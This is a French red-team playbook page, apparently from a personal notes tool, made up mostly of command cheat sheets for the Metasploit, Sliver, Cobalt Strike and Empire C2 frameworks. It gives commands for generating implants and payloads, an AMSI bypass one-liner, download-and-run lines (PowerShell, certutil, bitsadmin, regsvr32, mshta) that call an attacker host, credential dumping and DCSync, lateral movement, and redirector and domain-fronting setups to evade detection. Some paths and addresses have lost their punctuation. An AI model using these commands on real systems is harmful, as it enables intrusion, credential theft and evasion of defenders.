MDstable
NoteSnippetChecklistPlaybook

C2 Frameworks — Command & Control

Metasploit, Sliver, Cobalt Strike — setup listener, beacon, pivoting, staging

playbookadvanced 2025-05-14 5 min read
c2command-controlmetasploitslivercobalt-strikebeaconpivotstagerpentest

Metasploit — Meterpreter

bash
Variables
{{LHOST}}
{{PID}}
# Configurer un listener persistant
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST {{LHOST}}
set LPORT 443
set ExitOnSession false
exploit -j
# Commandes Meterpreter essentielles
sysinfo # OS, hostname, architecture
getuid # utilisateur courant
getsystem # tentative d'élévation SYSTEM
ps # liste des processus
migrate {{PID}} # migrer vers un processus cible
shell # shell interactif
screenshare # visualiser l'écran en direct
screenshot # capture d'écran ponctuelle
# Transfert de fichiers
upload /local/path/file.exe CWindowsTempfileexe
download CUsersvictimDocumentspasswordskdbx /tmp/
# Persistence
run persistence -X -i 10 -p 4444 -r {{LHOST}}
# -X : démarrage automatique, -i : intervalle en secondes

Pivoting avec Metasploit

bash
Variables
{{SUBNET}}
{{MASK}}
{{SESSION_ID}}
# Ajouter une route vers le réseau interne via la session compromise
route add {{SUBNET}} {{MASK}} {{SESSION_ID}}
route print
# SOCKS proxy pour tooling externe (proxychains)
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
# proxychains.conf : socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 19216810/24
proxychains crackmapexec smb 19216810/24

Sliver C2 (open source, Go)

bash
Variables
{{LHOST}}
{{SESSION_ID}}
# Démarrer le serveur Sliver
sliver-server
# Créer un listener mTLS (mutual TLS — traffic chiffré)
mtls --lport 443
# Générer un implant Windows
generate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe --save /tmp/implant.exe
# Générer un implant avec évasion (obfuscation de symboles)
generate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe --obfuscate --save /tmp/implant_obf.exe
# Listener WireGuard (trafic ressemble à du VPN légitime)
wg
# Gestion des sessions
sessions
use {{SESSION_ID}}
# Commandes dans une session Sliver
info # infos système
whoami # identité courante
ps # liste des processus
ls CUsers # listing répertoire
execute -o cmdexe /c whoami /all # exécuter une commande
upload /local/tool.exe CTemptoolexe
download Csecrettxt /tmp/

Pivoting avec Sliver

bash
Variables
{{LHOST}}
# SOCKS5 proxy via l'implant
socks5 start
# Port forwarding vers un service interne
portfwd add --remote 1921681103389 # RDP vers machine interne
# Générer un implant de pivot (pour le réseau interne)
generate --mtls {{LHOST}}443 --os windows --arch amd64 --format exe
# Déployer sur une machine du réseau interne via l'implant actuel

Cobalt Strike (commercial)

bash
Variables
{{LHOST}}
{{PASSWORD}}
# Démarrer le Team Server
/teamserver {{LHOST}} {{PASSWORD}} malleable_c2profile
# Se connecter depuis le client graphique
java -jar cobaltstrikejar
# Créer un listener HTTPS avec profil Malleable C2
# Listeners → Add → windows/beacon_https/reverse_https
# HTTP Host Header : www.microsoft.com (domain fronting)
# Profile : imiter le trafic Amazon S3, Azure, Microsoft

Commandes Beacon

bash
Variables
{{TARGET}}
{{TARGET_DOMAIN}}
# Gestion du beaconing
sleep 30 10 # 30s d'intervalle ± 10% de jitter
sleep 3600 25 # 1h ± 25% (opérations red team longues)
# Exécution
run whoami # commande système via cmd.exe
powershell Get-Process
execute-assembly /local/SharpHound.exe -c All # exécution in-memory .NET
# Lateral movement depuis un Beacon
jump psexec {{TARGET}} smb # PSExec via SMB
jump winrm {{TARGET}} smb # WinRM
remote-exec wmi {{TARGET}} calcexe # WMI exec
# Post-exploitation
hashdump # dump SAM
logonpasswords # équivalent sekurlsa::logonpasswords
dcsync {{TARGET_DOMAIN}} krbtgt # DCSync depuis Beacon

BOF — Beacon Object Files

bash
# Extensions légères en C compilées comme objet COFF
# Exécutées in-memory dans le processus Beacon — pas de spawn de processus
# Répertoire : https://github.com/trustedsec/CS-Situational-Awareness-BOF
inline-execute /local/tools/whoami.o

Empire / Starkiller

bash
Variables
{{LHOST}}
{{AGENT_NAME}}
# Démarrer le serveur Empire
/ps-empire server
# Démarrer le client CLI
/ps-empire client
# Dans le client Empire :
uselistener http
set Name http_listener
set Host http//{{LHOST}}
set Port 80
execute
# Générer un stager
usestager windows/launcher_bat
set Listener http_listener
execute
# Après connexion d'un agent :
agents
interact {{AGENT_NAME}}
usemodule situational_awareness/network/powerview/get_domain_controller
execute

Obfuscation et évasion AV

bash
Variables
{{LHOST}}
# Encoder le payload msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443
-e x86/shikata_ga_nai -i 10 -f exe -o payloadexe
# Obfuscation PowerShell — AMSI bypass
# Plusieurs variantes (chercher "AMSI bypass 2024" — les signatures changent régulièrement)
RefAssemblyGetType'System.Management.Automation.AmsiUtils'GetField'amsiInitFailed''NonPublic,Static'SetValue$null$true
# Invoke-Obfuscation (obfusquer les scripts PS avant livraison)
Import-Module Invoke-Obfuscation
Invoke-Obfuscation -ScriptBlock IEXNew-Object NetWebClientDownloadString'http://{{LHOST}}/p.ps1' -Command TOKENALL1
# Process injection — migrer vers un processus légitime
# Dans Meterpreter : migrate vers svchost.exe, explorer.exe, lsass.exe
# In-memory execution (.NET)
execute-assembly /local/Rubeus.exe kerberoast /outfilehashestxt
# Living off the Land Binaries (LOLBins)
certutil -urlcache -split -f http//{{LHOST}}/payload.exe payloadexe
bitsadmin /transfer job /download /priority normal http//{{LHOST}}/p.exe CTemppexe
regsvr32 /s /n /u /ihttp//{{LHOST}}/payload.sct scrobjdll
mshta http//{{LHOST}}/shell.hta

Infrastructure C2 — Redirecteurs

bash
# Architecture recommandée :
# Opérateur → Team Server (caché) ← Redirecteur (VPS exposé) ← Implant
# Redirecteur Apache — mod_rewrite
# /etc/apache2/sites-available/c2.conf :
# RewriteRule ^/updates/(.*)$ http://TEAMSERVER_IP:443/updates/$1 [P,L]
# RewriteRule ^/.*$ http://DECOY_SITE/$1 [R=302,L] ← traffic légitime → site leurre
# Redirecteur nginx
# location /api/ { proxy_pass https://TEAMSERVER_IP/api/; }
# CDN Cloudflare devant le C2
# → masque l'IP réelle du Team Server derrière les IPs Cloudflare
# → trafic chiffré TLS jusqu'à Cloudflare, puis ré-encrypté vers le TS
# Domain fronting (CDN-based)
# HTTP Host: www.legitimate-cdn-tenant.com
# SNI: redirect-domain.com
# → le trafic sort vers un CDN légitime qui reroute vers le TS
💡 Tip —

Le sleep + jitter sont essentiels en opération red team : sleep 3600 25 (1h ± 25%) minimise la détection réseau basée sur le beaconing régulier. Les EDR modernes (CrowdStrike, SentinelOne) détectent les connexions régulières toutes les N secondes — varier l'intervalle et utiliser un profil Malleable C2 imitant du trafic légitime (Office365, Azure) réduit significativement la détectabilité.

OPS·BRAIN v1.075 notes · Securitylocal